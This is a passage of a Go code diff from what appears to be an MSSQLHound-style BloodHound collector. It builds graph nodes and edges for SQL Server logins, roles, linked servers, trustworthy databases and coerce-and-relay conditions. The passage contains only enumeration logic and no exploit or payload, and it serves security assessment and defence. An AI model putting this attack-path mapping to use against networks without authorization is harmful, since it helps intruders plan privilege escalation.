+ displayName := serverInfo.Hostname
+ if c.config.Domain != "" && !strings.Contains(displayName, "@") {
+ displayName = serverInfo.Hostname + "@" + c.config.Domain
+ }
+
+ // Build SAMAccountName (hostname$)
+ hostname := serverInfo.Hostname
+ if idx := strings.Index(hostname, "."); idx > 0 {
+ hostname = hostname[:idx] // Extract short hostname from FQDN
+ }
+ samAccountName := strings.ToUpper(hostname) + "$"
+
+ node := &bloodhound.Node{
+ ID: serverInfo.ComputerSID,
+ Kinds: []string{bloodhound.NodeKinds.Computer, "Base"},
+ Properties: map[string]interface{}{
+ "name": displayName,
+ "DNSHostName": serverInfo.FQDN,
+ "domain": c.config.Domain,
+ "isDomainPrincipal": true,
+ "SID": serverInfo.ComputerSID,
+ "SAMAccountName": samAccountName,
+ },
+ }
+ if err := writer.WriteNode(node); err != nil {
+ return err
+ }
+ createdNodes[serverInfo.ComputerSID] = true
+ }
+
+ // Track if we need to create Authenticated Users node for CoerceAndRelayToMSSQL
+ needsAuthUsersNode := false
+
+ // Check for computer accounts with EPA disabled (CoerceAndRelayToMSSQL condition)
+ if serverInfo.ExtendedProtection == "Off" {
+ for _, principal := range serverInfo.ServerPrincipals {
+ if principal.IsActiveDirectoryPrincipal &&
+ strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-21-") &&
+ strings.HasSuffix(principal.Name, "$") &&
+ !principal.IsDisabled {
+ needsAuthUsersNode = true
+ break
+ }
+ }
+ }
+
+ // Create Authenticated Users node if needed
+ if needsAuthUsersNode {
+ authedUsersSID := "S-1-5-11"
+ if c.config.Domain != "" {
+ authedUsersSID = c.config.Domain + "-S-1-5-11"
+ }
+
+ if !createdNodes[authedUsersSID] {
+ node := &bloodhound.Node{
+ ID: authedUsersSID,
+ Kinds: []string{bloodhound.NodeKinds.Group, "Base"},
+ Properties: map[string]interface{}{
+ "name": "AUTHENTICATED USERS@" + c.config.Domain,
+ },
+ }
+ if err := writer.WriteNode(node); err != nil {
+ return err
+ }
+ createdNodes[authedUsersSID] = true
+ }
+ }
+
+ // Resolve domain login SIDs via LDAP for AD enrichment (matching PowerShell behavior).
+ // This provides properties like SAMAccountName, distinguishedName, DNSHostName, etc.
+ resolvedPrincipals := make(map[string]*types.DomainPrincipal)
+ if c.config.Domain != "" {
+ adClient := ad.NewClient(c.config.Domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.getDNSResolver())
+ for _, principal := range serverInfo.ServerPrincipals {
+ if !principal.IsActiveDirectoryPrincipal || principal.SecurityIdentifier == "" {
+ continue
+ }
+ if !strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-21-") {
+ continue
+ }
+ if _, already := resolvedPrincipals[principal.SecurityIdentifier]; already {
+ continue
+ }
+ resolved, err := adClient.ResolveSID(principal.SecurityIdentifier)
+ if err == nil && resolved != nil {
+ resolvedPrincipals[principal.SecurityIdentifier] = resolved
+ }
+ }
+ adClient.Close()
+ }
+
+ // Create nodes for domain principals with SQL logins
+ for _, principal := range serverInfo.ServerPrincipals {
+ if !principal.IsActiveDirectoryPrincipal || principal.SecurityIdentifier == "" {
+ continue
+ }
+
+ // Only process SIDs from the domain, skip NT AUTHORITY, NT SERVICE, and local accounts
+ // The DomainSID (e.g., S-1-5-21-462691900-2967613020-3702357964) identifies domain principals
+ if serverInfo.DomainSID == "" || !strings.HasPrefix(principal.SecurityIdentifier, serverInfo.DomainSID+"-") {
+ continue
+ }
+
+ // Skip disabled logins and those without CONNECT SQL
+ if principal.IsDisabled {
+ continue
+ }
+
+ // Check if has CONNECT SQL permission
+ hasConnectSQL := false
+ for _, perm := range principal.Permissions {
+ if perm.Permission == "CONNECT SQL" && (perm.State == "GRANT" || perm.State == "GRANT_WITH_GRANT_OPTION") {
+ hasConnectSQL = true
+ break
+ }
+ }
+ // Also check if member of sysadmin or securityadmin (they have implicit CONNECT SQL)
+ if !hasConnectSQL {
+ for _, membership := range principal.MemberOf {
+ if membership.Name == "sysadmin" || membership.Name == "securityadmin" {
+ hasConnectSQL = true
+ break
+ }
+ }
+ }
+ if !hasConnectSQL {
+ continue
+ }
+
+ // Skip if already created
+ if createdNodes[principal.SecurityIdentifier] {
+ continue
+ }
+
+ // Determine the node kind based on the principal name
+ var kinds []string
+ if strings.HasSuffix(principal.Name, "$") {
+ kinds = []string{bloodhound.NodeKinds.Computer, "Base"}
+ } else if strings.Contains(principal.TypeDescription, "GROUP") {
+ kinds = []string{bloodhound.NodeKinds.Group, "Base"}
+ } else {
+ kinds = []string{bloodhound.NodeKinds.User, "Base"}
+ }
+
+ // Build the display name with domain
+ displayName := principal.Name
+ if c.config.Domain != "" && !strings.Contains(displayName, "@") {
+ displayName = principal.Name + "@" + c.config.Domain
+ }
+
+ nodeProps := map[string]interface{}{
+ "name": displayName,
+ "isDomainPrincipal": true,
+ "SID": principal.SecurityIdentifier,
+ }
+
+ // Enrich with LDAP-resolved AD attributes (matching PowerShell behavior)
+ if resolved, ok := resolvedPrincipals[principal.SecurityIdentifier]; ok {
+ nodeProps["SAMAccountName"] = resolved.SAMAccountName
+ nodeProps["domain"] = resolved.Domain
+ nodeProps["isEnabled"] = resolved.Enabled
+ if resolved.DistinguishedName != "" {
+ nodeProps["distinguishedName"] = resolved.DistinguishedName
+ }
+ if resolved.DNSHostName != "" {
+ nodeProps["DNSHostName"] = resolved.DNSHostName
+ }
+ if resolved.UserPrincipalName != "" {
+ nodeProps["userPrincipalName"] = resolved.UserPrincipalName
+ }
+ }
+
+ node := &bloodhound.Node{
+ ID: principal.SecurityIdentifier,
+ Kinds: kinds,
+ Properties: nodeProps,
+ }
+ if err := writer.WriteNode(node); err != nil {
+ return err
+ }
+ createdNodes[principal.SecurityIdentifier] = true
+ }
+
+ // Create nodes for local groups with SQL logins
+ // This handles both BUILTIN groups (S-1-5-32-*) and machine-local groups
+ // (S-1-5-21-* SIDs that don't match the domain SID, e.g. ConfigMgr_DViewAccess)
+ for _, principal := range serverInfo.ServerPrincipals {
+ if principal.SecurityIdentifier == "" {
+ continue
+ }
+
+ // Identify local groups: BUILTIN (S-1-5-32-*) or machine-local Windows groups
+ // Machine-local groups have S-1-5-21-* SIDs belonging to the machine, not the domain
+ isLocalGroup := false
+ if strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-32-") {
+ isLocalGroup = true
+ } else if principal.TypeDescription == "WINDOWS_GROUP" &&
+ strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-21-") &&
+ (serverInfo.DomainSID == "" || !strings.HasPrefix(principal.SecurityIdentifier, serverInfo.DomainSID+"-")) {
+ isLocalGroup = true
+ }
+ if !isLocalGroup {
+ continue
+ }
+
+ // Skip disabled logins
+ if principal.IsDisabled {
+ continue
+ }
+
+ // Check if has CONNECT SQL permission
+ hasConnectSQL := false
+ for _, perm := range principal.Permissions {
+ if perm.Permission == "CONNECT SQL" && (perm.State == "GRANT" || perm.State == "GRANT_WITH_GRANT_OPTION") {
+ hasConnectSQL = true
+ break
+ }
+ }
+ if !hasConnectSQL {
+ for _, membership := range principal.MemberOf {
+ if membership.Name == "sysadmin" || membership.Name == "securityadmin" {
+ hasConnectSQL = true
+ break
+ }
+ }
+ }
+ if !hasConnectSQL {
+ continue
+ }
+
+ // ObjectID format: {serverFQDN}-{SID}
+ groupObjectID := serverInfo.Hostname + "-" + principal.SecurityIdentifier
+
+ // Skip if already created
+ if createdNodes[groupObjectID] {
+ continue
+ }
+
+ node := &bloodhound.Node{
+ ID: groupObjectID,
+ Kinds: []string{bloodhound.NodeKinds.Group, "Base"},
+ Properties: map[string]interface{}{
+ "name": principal.Name,
+ "isActiveDirectoryPrincipal": principal.IsActiveDirectoryPrincipal,
+ },
+ }
+ if err := writer.WriteNode(node); err != nil {
+ return err
+ }
+ createdNodes[groupObjectID] = true
+ }
+
+ // Create nodes for service accounts
+ for _, sa := range serverInfo.ServiceAccounts {
+ saID := sa.SID
+ if saID == "" {
+ saID = sa.ObjectIdentifier
+ }
+ if saID == "" || createdNodes[saID] {
+ continue
+ }
+
+ // Skip if not a domain SID
+ if !strings.HasPrefix(saID, "S-1-5-21-") {
+ continue
+ }
+
+ // Determine kind based on account name
+ var kinds []string
+ if strings.HasSuffix(sa.Name, "$") {
+ kinds = []string{bloodhound.NodeKinds.Computer, "Base"}
+ } else {
+ kinds = []string{bloodhound.NodeKinds.User, "Base"}
+ }
+
+ // Format display name to match PowerShell behavior:
+ // PS uses Resolve-DomainPrincipal which returns UserPrincipalName, DNSHostName,
+ // or SAMAccountName (in that priority order). For user accounts without UPN,
+ // this is just the bare account name (e.g., "sccmsqlsvc" not "DOMAIN\sccmsqlsvc").
+ // For computer accounts, resolveServiceAccountSIDsViaLDAP already sets Name to FQDN.
+ displayName := sa.Name
+ if idx := strings.Index(displayName, "\\"); idx != -1 {
+ displayName = displayName[idx+1:]
+ }
+
+ nodeProps := map[string]interface{}{
+ "name": displayName,
+ }
+
+ // Enrich with LDAP-resolved AD attributes (matching PowerShell behavior)
+ if sa.ResolvedPrincipal != nil {
+ nodeProps["isDomainPrincipal"] = true
+ nodeProps["SID"] = sa.ResolvedPrincipal.SID
+ nodeProps["SAMAccountName"] = sa.ResolvedPrincipal.SAMAccountName
+ nodeProps["domain"] = sa.ResolvedPrincipal.Domain
+ nodeProps["isEnabled"] = sa.ResolvedPrincipal.Enabled
+ if sa.ResolvedPrincipal.DistinguishedName != "" {
+ nodeProps["distinguishedName"] = sa.ResolvedPrincipal.DistinguishedName
+ }
+ if sa.ResolvedPrincipal.DNSHostName != "" {
+ nodeProps["DNSHostName"] = sa.ResolvedPrincipal.DNSHostName
+ }
+ if sa.ResolvedPrincipal.UserPrincipalName != "" {
+ nodeProps["userPrincipalName"] = sa.ResolvedPrincipal.UserPrincipalName
+ }
+ }
+
+ node := &bloodhound.Node{
+ ID: saID,
+ Kinds: kinds,
+ Properties: nodeProps,
+ }
+ if err := writer.WriteNode(node); err != nil {
+ return err
+ }
+ createdNodes[saID] = true
+ }
+
+ // Create nodes for credential targets (HasMappedCred, HasDBScopedCred, HasProxyCred)
+ // This matches PowerShell's credential Base node creation at MSSQLHound.ps1:8958-9018
+ credentialNodeKind := func(objectClass string) string {
+ switch objectClass {
+ case "computer":
+ return bloodhound.NodeKinds.Computer
+ case "group":
+ return bloodhound.NodeKinds.Group
+ default:
+ return bloodhound.NodeKinds.User
+ }
+ }
+
+ writeCredentialNode := func(sid string, principal *types.DomainPrincipal) error {
+ if sid == "" || createdNodes[sid] {
+ return nil
+ }
+ kind := credentialNodeKind(principal.ObjectClass)
+ props := map[string]interface{}{
+ "name": principal.Name,
+ "domain": principal.Domain,
+ "isDomainPrincipal": true,
+ "SID": principal.SID,
+ "SAMAccountName": principal.SAMAccountName,
+ "isEnabled": principal.Enabled,
+ }
+ if principal.DistinguishedName != "" {
+ props["distinguishedName"] = principal.DistinguishedName
+ }
+ if principal.DNSHostName != "" {
+ props["DNSHostName"] = principal.DNSHostName
+ }
+ if principal.UserPrincipalName != "" {
+ props["userPrincipalName"] = principal.UserPrincipalName
+ }
+ node := &bloodhound.Node{
+ ID: sid,
+ Kinds: []string{kind, "Base"},
+ Properties: props,
+ }
+ if err := writer.WriteNode(node); err != nil {
+ return err
+ }
+ createdNodes[sid] = true
+ return nil
+ }
+
+ // Server-level credentials
+ for _, cred := range serverInfo.Credentials {
+ if cred.ResolvedPrincipal != nil {
+ if err := writeCredentialNode(cred.ResolvedSID, cred.ResolvedPrincipal); err != nil {
+ return err
+ }
+ }
+ }
+
+ // Database-scoped credentials
+ for _, db := range serverInfo.Databases {
+ for _, cred := range db.DBScopedCredentials {
+ if cred.ResolvedPrincipal != nil {
+ if err := writeCredentialNode(cred.ResolvedSID, cred.ResolvedPrincipal); err != nil {
+ return err
+ }
+ }
+ }
+ }
+
+ // Proxy account credentials
+ for _, proxy := range serverInfo.ProxyAccounts {
+ if proxy.ResolvedPrincipal != nil {
+ if err := writeCredentialNode(proxy.ResolvedSID, proxy.ResolvedPrincipal); err != nil {
+ return err
+ }
+ }
+ }
+
+ return nil
+}
+
+// createEdges creates all edges for the server
+func (c *Collector) createEdges(writer *bloodhound.StreamingWriter, serverInfo *types.ServerInfo) error {
+ // =========================================================================
+ // CONTAINS EDGES
+ // =========================================================================
+
+ // Server contains databases
+ for _, db := range serverInfo.Databases {
+ edge := c.createEdge(
+ serverInfo.ObjectIdentifier,
+ db.ObjectIdentifier,
+ bloodhound.EdgeKinds.Contains,
+ &bloodhound.EdgeContext{
+ SourceName: serverInfo.ServerName,
+ SourceType: bloodhound.NodeKinds.Server,
+ TargetName: db.Name,
+ TargetType: bloodhound.NodeKinds.Database,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+
+ // Server contains server principals (logins and server roles)
+ for _, principal := range serverInfo.ServerPrincipals {
+ targetType := c.getServerPrincipalType(principal.TypeDescription)
+ edge := c.createEdge(
+ serverInfo.ObjectIdentifier,
+ principal.ObjectIdentifier,
+ bloodhound.EdgeKinds.Contains,
+ &bloodhound.EdgeContext{
+ SourceName: serverInfo.ServerName,
+ SourceType: bloodhound.NodeKinds.Server,
+ TargetName: principal.Name,
+ TargetType: targetType,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+
+ // Database contains database principals (users, roles, application roles)
+ for _, db := range serverInfo.Databases {
+ for _, principal := range db.DatabasePrincipals {
+ targetType := c.getDatabasePrincipalType(principal.TypeDescription)
+ edge := c.createEdge(
+ db.ObjectIdentifier,
+ principal.ObjectIdentifier,
+ bloodhound.EdgeKinds.Contains,
+ &bloodhound.EdgeContext{
+ SourceName: db.Name,
+ SourceType: bloodhound.NodeKinds.Database,
+ TargetName: principal.Name,
+ TargetType: targetType,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+
+ // =========================================================================
+ // OWNERSHIP EDGES
+ // =========================================================================
+
+ // Database ownership (login owns database)
+ for _, db := range serverInfo.Databases {
+ if db.OwnerObjectIdentifier != "" {
+ edge := c.createEdge(
+ db.OwnerObjectIdentifier,
+ db.ObjectIdentifier,
+ bloodhound.EdgeKinds.Owns,
+ &bloodhound.EdgeContext{
+ SourceName: db.OwnerLoginName,
+ SourceType: bloodhound.NodeKinds.Login,
+ TargetName: db.Name,
+ TargetType: bloodhound.NodeKinds.Database,
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+
+ // Server role ownership
+ for _, principal := range serverInfo.ServerPrincipals {
+ if principal.TypeDescription == "SERVER_ROLE" && principal.OwningObjectIdentifier != "" {
+ edge := c.createEdge(
+ principal.OwningObjectIdentifier,
+ principal.ObjectIdentifier,
+ bloodhound.EdgeKinds.Owns,
+ &bloodhound.EdgeContext{
+ SourceName: "", // Will be filled by owner lookup
+ SourceType: bloodhound.NodeKinds.Login,
+ TargetName: principal.Name,
+ TargetType: bloodhound.NodeKinds.ServerRole,
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+
+ // Database role ownership
+ for _, db := range serverInfo.Databases {
+ for _, principal := range db.DatabasePrincipals {
+ if principal.TypeDescription == "DATABASE_ROLE" && principal.OwningObjectIdentifier != "" {
+ edge := c.createEdge(
+ principal.OwningObjectIdentifier,
+ principal.ObjectIdentifier,
+ bloodhound.EdgeKinds.Owns,
+ &bloodhound.EdgeContext{
+ SourceName: "", // Owner name
+ SourceType: bloodhound.NodeKinds.DatabaseUser,
+ TargetName: principal.Name,
+ TargetType: bloodhound.NodeKinds.DatabaseRole,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+ }
+
+ // =========================================================================
+ // MEMBEROF EDGES
+ // =========================================================================
+
+ // Server role memberships (explicit only - PowerShell doesn't add implicit public membership)
+ for _, principal := range serverInfo.ServerPrincipals {
+ for _, role := range principal.MemberOf {
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ role.ObjectIdentifier,
+ bloodhound.EdgeKinds.MemberOf,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: role.Name,
+ TargetType: bloodhound.NodeKinds.ServerRole,
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+
+ // Database role memberships (explicit only - PowerShell doesn't add implicit public membership)
+ for _, db := range serverInfo.Databases {
+ for _, principal := range db.DatabasePrincipals {
+ for _, role := range principal.MemberOf {
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ role.ObjectIdentifier,
+ bloodhound.EdgeKinds.MemberOf,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: role.Name,
+ TargetType: bloodhound.NodeKinds.DatabaseRole,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+ }
+
+ // =========================================================================
+ // MAPPING EDGES
+ // =========================================================================
+
+ // Login to database user mapping
+ for _, db := range serverInfo.Databases {
+ for _, principal := range db.DatabasePrincipals {
+ if principal.ServerLogin != nil {
+ edge := c.createEdge(
+ principal.ServerLogin.ObjectIdentifier,
+ principal.ObjectIdentifier,
+ bloodhound.EdgeKinds.IsMappedTo,
+ &bloodhound.EdgeContext{
+ SourceName: principal.ServerLogin.Name,
+ SourceType: bloodhound.NodeKinds.Login,
+ TargetName: principal.Name,
+ TargetType: bloodhound.NodeKinds.DatabaseUser,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+ }
+
+ // =========================================================================
+ // FIXED ROLE PERMISSION EDGES
+ // =========================================================================
+
+ // Create edges for fixed role capabilities
+ if err := c.createFixedRoleEdges(writer, serverInfo); err != nil {
+ return err
+ }
+
+ // =========================================================================
+ // EXPLICIT PERMISSION EDGES
+ // =========================================================================
+
+ // Server principal permissions
+ if err := c.createServerPermissionEdges(writer, serverInfo); err != nil {
+ return err
+ }
+
+ // Database principal permissions
+ for _, db := range serverInfo.Databases {
+ if err := c.createDatabasePermissionEdges(writer, &db, serverInfo); err != nil {
+ return err
+ }
+ }
+
+ // =========================================================================
+ // LINKED SERVER AND TRUSTWORTHY EDGES
+ // =========================================================================
+
+ // Linked servers - one edge per login mapping (matching PowerShell behavior)
+ for _, linked := range serverInfo.LinkedServers {
+ // Determine target ObjectIdentifier for linked server
+ targetID := linked.DataSource
+ if linked.ResolvedObjectIdentifier != "" {
+ targetID = linked.ResolvedObjectIdentifier
+ }
+
+ // Resolve the source server ObjectIdentifier
+ // PowerShell compares linked.SourceServer to current hostname and resolves chains
+ sourceID := serverInfo.ObjectIdentifier
+ if linked.SourceServer != "" && !strings.EqualFold(linked.SourceServer, serverInfo.Hostname) {
+ // Source is a different server (chained linked server) - resolve its ID
+ resolvedSourceID := c.resolveLinkedServerSourceID(linked.SourceServer, serverInfo)
+ if resolvedSourceID != "" {
+ sourceID = resolvedSourceID
+ }
+ }
+
+ // MSSQL_LinkedTo edge with all properties matching PowerShell
+ edge := c.createEdge(
+ sourceID,
+ targetID,
+ bloodhound.EdgeKinds.LinkedTo,
+ &bloodhound.EdgeContext{
+ SourceName: serverInfo.ServerName,
+ SourceType: bloodhound.NodeKinds.Server,
+ TargetName: linked.Name,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if edge != nil {
+ // Add linked server specific properties (matching PowerShell)
+ edge.Properties["dataAccess"] = linked.IsDataAccessEnabled
+ edge.Properties["dataSource"] = linked.DataSource
+ edge.Properties["localLogin"] = linked.LocalLogin
+ edge.Properties["path"] = linked.Path
+ edge.Properties["product"] = linked.Product
+ edge.Properties["provider"] = linked.Provider
+ edge.Properties["remoteCurrentLogin"] = linked.RemoteCurrentLogin
+ edge.Properties["remoteHasControlServer"] = linked.RemoteHasControlServer
+ edge.Properties["remoteHasImpersonateAnyLogin"] = linked.RemoteHasImpersonateAnyLogin
+ edge.Properties["remoteIsMixedMode"] = linked.RemoteIsMixedMode
+ edge.Properties["remoteIsSecurityAdmin"] = linked.RemoteIsSecurityAdmin
+ edge.Properties["remoteIsSysadmin"] = linked.RemoteIsSysadmin
+ edge.Properties["remoteLogin"] = linked.RemoteLogin
+ edge.Properties["rpcOut"] = linked.IsRPCOutEnabled
+ edge.Properties["usesImpersonation"] = linked.UsesImpersonation
+ }
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // MSSQL_LinkedAsAdmin edge if conditions are met:
+ // - Remote login exists and is a SQL login (no backslash)
+ // - Remote login has admin privileges (sysadmin, securityadmin, CONTROL SERVER, or IMPERSONATE ANY LOGIN)
+ // - Target server has mixed mode authentication enabled
+ if linked.RemoteLogin != "" &&
+ !strings.Contains(linked.RemoteLogin, "\\") &&
+ (linked.RemoteIsSysadmin || linked.RemoteIsSecurityAdmin ||
+ linked.RemoteHasControlServer || linked.RemoteHasImpersonateAnyLogin) &&
+ linked.RemoteIsMixedMode {
+
+ edge := c.createEdge(
+ sourceID,
+ targetID,
+ bloodhound.EdgeKinds.LinkedAsAdmin,
+ &bloodhound.EdgeContext{
+ SourceName: serverInfo.ServerName,
+ SourceType: bloodhound.NodeKinds.Server,
+ TargetName: linked.Name,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if edge != nil {
+ // Add linked server specific properties (matching PowerShell)
+ edge.Properties["dataAccess"] = linked.IsDataAccessEnabled
+ edge.Properties["dataSource"] = linked.DataSource
+ edge.Properties["localLogin"] = linked.LocalLogin
+ edge.Properties["path"] = linked.Path
+ edge.Properties["product"] = linked.Product
+ edge.Properties["provider"] = linked.Provider
+ edge.Properties["remoteCurrentLogin"] = linked.RemoteCurrentLogin
+ edge.Properties["remoteHasControlServer"] = linked.RemoteHasControlServer
+ edge.Properties["remoteHasImpersonateAnyLogin"] = linked.RemoteHasImpersonateAnyLogin
+ edge.Properties["remoteIsMixedMode"] = linked.RemoteIsMixedMode
+ edge.Properties["remoteIsSecurityAdmin"] = linked.RemoteIsSecurityAdmin
+ edge.Properties["remoteIsSysadmin"] = linked.RemoteIsSysadmin
+ edge.Properties["remoteLogin"] = linked.RemoteLogin
+ edge.Properties["rpcOut"] = linked.IsRPCOutEnabled
+ edge.Properties["usesImpersonation"] = linked.UsesImpersonation
+ }
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+
+ // Trustworthy databases - create IsTrustedBy and potentially ExecuteAsOwner edges
+ for _, db := range serverInfo.Databases {
+ if db.IsTrustworthy {
+ // Always create IsTrustedBy edge for trustworthy databases
+ edge := c.createEdge(
+ db.ObjectIdentifier,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.IsTrustedBy,
+ &bloodhound.EdgeContext{
+ SourceName: db.Name,
+ SourceType: bloodhound.NodeKinds.Database,
+ TargetName: serverInfo.ServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // Check if database owner has high privileges
+ // (sysadmin, securityadmin, CONTROL SERVER, or IMPERSONATE ANY LOGIN)
+ // Uses nested role/permission checks matching PowerShell's Get-NestedRoleMembership/Get-EffectivePermissions
+ if db.OwnerObjectIdentifier != "" {
+ // Find the owner in server principals
+ var ownerHasSysadmin, ownerHasSecurityadmin, ownerHasControlServer, ownerHasImpersonateAnyLogin bool
+ var ownerLoginName string
+ for _, owner := range serverInfo.ServerPrincipals {
+ if owner.ObjectIdentifier == db.OwnerObjectIdentifier {
+ ownerLoginName = owner.Name
+ ownerHasSysadmin = c.hasNestedRoleMembership(owner, "sysadmin", serverInfo)
+ ownerHasSecurityadmin = c.hasNestedRoleMembership(owner, "securityadmin", serverInfo)
+ ownerHasControlServer = c.hasEffectivePermission(owner, "CONTROL SERVER", serverInfo)
+ ownerHasImpersonateAnyLogin = c.hasEffectivePermission(owner, "IMPERSONATE ANY LOGIN", serverInfo)
+ break
+ }
+ }
+
+ if ownerHasSysadmin || ownerHasSecurityadmin || ownerHasControlServer || ownerHasImpersonateAnyLogin {
+ // Create ExecuteAsOwner edge with metadata properties matching PowerShell
+ edge := c.createEdge(
+ db.ObjectIdentifier,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.ExecuteAsOwner,
+ &bloodhound.EdgeContext{
+ SourceName: db.Name,
+ SourceType: bloodhound.NodeKinds.Database,
+ TargetName: serverInfo.SQLServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ },
+ )
+ if edge != nil {
+ edge.Properties["database"] = db.Name
+ edge.Properties["databaseIsTrustworthy"] = db.IsTrustworthy
+ edge.Properties["ownerHasControlServer"] = ownerHasControlServer
+ edge.Properties["ownerHasImpersonateAnyLogin"] = ownerHasImpersonateAnyLogin
+ edge.Properties["ownerHasSecurityadmin"] = ownerHasSecurityadmin
+ edge.Properties["ownerHasSysadmin"] = ownerHasSysadmin
+ edge.Properties["ownerLoginName"] = ownerLoginName
+ edge.Properties["ownerObjectIdentifier"] = db.OwnerObjectIdentifier
+ edge.Properties["ownerPrincipalID"] = db.OwnerPrincipalID
+ edge.Properties["SQLServer"] = serverInfo.ObjectIdentifier
+ }
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+ }
+ }
+
+ // =========================================================================
+ // COMPUTER-SERVER RELATIONSHIP EDGES
+ // =========================================================================
+
+ // Create Computer node and edges if we have the computer SID
+ if serverInfo.ComputerSID != "" {
+ // MSSQL_HostFor: Computer -> Server
+ edge := c.createEdge(
+ serverInfo.ComputerSID,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.HostFor,
+ &bloodhound.EdgeContext{
+ SourceName: serverInfo.Hostname,
+ SourceType: "Computer",
+ TargetName: serverInfo.SQLServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // MSSQL_ExecuteOnHost: Server -> Computer
+ edge = c.createEdge(
+ serverInfo.ObjectIdentifier,
+ serverInfo.ComputerSID,
+ bloodhound.EdgeKinds.ExecuteOnHost,
+ &bloodhound.EdgeContext{
+ SourceName: serverInfo.SQLServerName,
+ SourceType: bloodhound.NodeKinds.Server,
+ TargetName: serverInfo.Hostname,
+ TargetType: "Computer",
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+
+ // =========================================================================
+ // AD PRINCIPAL RELATIONSHIP EDGES
+ // =========================================================================
+
+ // Create HasLogin and CoerceAndRelayToMSSQL edges from AD principals to their SQL logins
+ // Match PowerShell logic: iterate enabledDomainPrincipalsWithConnectSQL
+ // CoerceAndRelayToMSSQL is checked BEFORE the S-1-5-21 filter and dedup (matching PS ordering)
+ // HasLogin is only created for S-1-5-21-* SIDs with dedup
+ principalsWithLogin := make(map[string]bool)
+ for _, principal := range serverInfo.ServerPrincipals {
+ if !principal.IsActiveDirectoryPrincipal || principal.SecurityIdentifier == "" {
+ continue
+ }
+
+ // Skip disabled logins
+ if principal.IsDisabled {
+ continue
+ }
+
+ // Check if has CONNECT SQL permission (direct or through sysadmin/securityadmin membership)
+ // This matches PowerShell's $enabledDomainPrincipalsWithConnectSQL filter
+ hasConnectSQL := false
+ for _, perm := range principal.Permissions {
+ if perm.Permission == "CONNECT SQL" && (perm.State == "GRANT" || perm.State == "GRANT_WITH_GRANT_OPTION") {
+ hasConnectSQL = true
+ break
+ }
+ }
+ // Also check sysadmin/securityadmin membership (implies CONNECT SQL)
+ if !hasConnectSQL {
+ for _, membership := range principal.MemberOf {
+ if membership.Name == "sysadmin" || membership.Name == "securityadmin" {
+ hasConnectSQL = true
+ break
+ }
+ }
+ }
+ if !hasConnectSQL {
+ continue
+ }
+
+ // CoerceAndRelayToMSSQL edge if conditions are met:
+ // - Extended Protection (EPA) is Off
+ // - Login is for a computer account (name ends with $)
+ // This is checked BEFORE the S-1-5-21 filter and dedup, matching PowerShell ordering
+ if serverInfo.ExtendedProtection == "Off" && strings.HasSuffix(principal.Name, "$") {
+ // Create edge from Authenticated Users (S-1-5-11) to the SQL login
+ // The SID S-1-5-11 is prefixed with the domain for the full ObjectIdentifier
+ authedUsersSID := "S-1-5-11"
+ if c.config.Domain != "" {
+ authedUsersSID = c.config.Domain + "-S-1-5-11"
+ }
+
+ edge := c.createEdge(
+ authedUsersSID,
+ principal.ObjectIdentifier,
+ bloodhound.EdgeKinds.CoerceAndRelayTo,
+ &bloodhound.EdgeContext{
+ SourceName: "AUTHENTICATED USERS",
+ SourceType: "Group",
+ TargetName: principal.Name,
+ TargetType: bloodhound.NodeKinds.Login,
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+
+ // Only process domain SIDs (S-1-5-21-*) for HasLogin edges
